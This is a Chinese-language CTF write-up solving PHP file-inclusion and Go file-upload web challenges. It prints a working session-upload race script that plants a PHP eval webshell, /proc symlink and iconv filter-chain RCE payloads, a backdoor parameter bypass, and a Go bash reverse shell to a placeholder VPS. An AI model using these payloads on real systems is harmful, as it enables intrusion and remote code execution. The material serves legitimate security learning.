前言
只做出来My系列两道题,记录一下学到的知识叭
MyPage
很明显是一个文件包含,先说说我的做法,尝试php伪协议发现读取不到,日志文件没有找到就用不了日志文件包含,phpinfo也没能找到临时文件包含也没有出路,最后尝试利用 session.upload_progress 特性getshell,直接脚本一把梭,具体原理可参考我之前一篇文章,下面给出脚本,读取flag文件也可,这里就直接读取环境变量了,懒得找文件(因为MyDoor也可以这么做,应该是非预期了)
代码语言:javascript复制import io
import requests
import threading # 多线程
from cffi.backend_ctypes import xrange
sessid = '0'
target = 'http://43.143.7.127:28242/'
file = 'ph0ebus.txt' # 上传文件名
f = io.BytesIO(b'a' * 1024 * 50) # 文件内容,插入大量垃圾字符来使返回的时间更久,这样临时文件保存的时间更长
def write(session):
while True:
session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'},
files={'file': (file, f)}, cookies={'PHPSESSID': sessid})
def read(session):
while True:
resp = session.post(
f"{target}index.php?file=/tmp/sess_{sessid}&cmd=system('cat index.php');")
if file in resp.text:
print(resp.text)
event.clear()
else:
print("[ ]retry")
# print(resp.text)
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in xrange(1, 30): # 每次调用返回其中的一个值,内存空间使用极少,因而性能非常好
threading.Thread(target=write, args=(session,)).start()
# target:在run方法中调用的可调用对象,即需要开启线程的可调用对象,比如函数或方法;args:在参数target中传入的可调用对象的参数元组,默认为空元组()
for i in xrange(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()
再说说其他办法,利用/proc
目录符号链接绕过include_once()
,方法来自Tel佬的博客,具体原理可参考这篇文章:php源码分析 require_once 绕过不能重复包含文件的限制,用上面的脚本我们读取index.php源码,可以更清晰的看出来
<?php
error_reporting(0);
include 'flag.php';
if(!isset($_GET['file'])) {
header('Location:/index.php?file=');
} else {
$file = $_GET['file'];
if (!preg_match('/..|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|?|*|~|zip|7z|compress/is', $file)) {
include_once $file;
} else {
die('error.');
}
}
由于include_once()
的存在,php会检查该文件是否已经被包含过,如果是则不会再次包含。php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,那么目标就是如何绕过这个哈希表,让php认为我们传入的文件名不在哈希表中,又可以让php能找到这个文件,读取到内容。
/proc/self
指向当前进程的/proc/pid/
,/proc/self/root/
是指向/
的符号链接,想到这里就可以用伪协议配合多级符号链接的办法进行绕过
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
然而,var
被WAF拦截了。在POST处理数据的时候,某些WAF只处理8k的数据,后面的选择放过,这时候就可以用大量脏数据绕过,但GET型使用大量脏数据则会返回414 (Request-URI Too Long)
。那么可以试着更进一步利用/proc
来避免使用被 WAF 的字符,具体可以参考这篇文章:Proc 目录在 CTF 中的利用。这里使用/proc/self/cwd
,cwd 文件是一个指向当前进程运行目录的符号链接,即/var/www/html
。
php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/cwd/index.php
MyDoor
可以使用上面脚本一把梭,做的时候找了半天也没找到flag在哪,怪,最后搞了半天才想起环境变量
也可以用php伪协议读取index.php的源码找到后门函数,php://filter/read=convert.base64-encode/resource=index.php
<?php
error_reporting(0);
if (isset($_GET['N_S.S'])) {
eval($_GET['N_S.S']);
}
if(!isset($_GET['file'])) {
header('Location:/index.php?file=');
} else {
$file = $_GET['file'];
if (!preg_match('/..|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|?|*|~|zip|7z|compress/is', $file)) {
include $file;
} else {
die('error.');
}
}
然后利用后门N_S.S
就能 getshell吗?no!我当时就试了试这种方法,发现怎么都执行不了,赛后问了 Tel 佬才知道,原来这里涉及到一个php特性:在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候,php会将怪异的变量名转换成有效的,在进行解析时会删除空白符,并将空格、 、点、[ 转换为下划线。但是用一个特性是可以绕过的,就是当 [ 提前出现后,[ 会转换成下划线,而后面的字符就不会再被转义了。所以这里传入的应该是?N[S.S=system('env')&file=
还有一种姿势,利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造出特定的 PHP 代码进而完成无需临时文件的 RCE。来自Gqleung佬的wp,原作者应该是这篇文章:Solving “includer’s revenge” from hxp ctf 2021 without controlling any files,也可以参考这篇文章:hxp CTF 2021 - The End Of LFI?。Orz
这里就直接给出exp
代码语言:javascript复制?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=index.php&0=env
Upload_gogoggo复现
题目描述:没有任何过滤的文件上传
这道题很遗憾的擦肩而过,可能对未知的东西有点手足无措吧,想到了go命令执行.go文件getshell但没有实现出来。
话不多说,既然没有过滤,那么肯定有其他猫腻,先上传一个一句话木马看看
代码语言:javascript复制package main
import (
"fmt"
"log"
"os/exec"
)
func main() {
cmd := exec.Command("bash", "-c","bash -i >& /dev/tcp/vps/port 0>&1")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:n%sn", string(out))
log.Fatalf("cmd.Run() failed with %sn", err)
}
fmt.Printf("combined out:n%sn", string(out))
}
原型链学习中,待完善…
本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus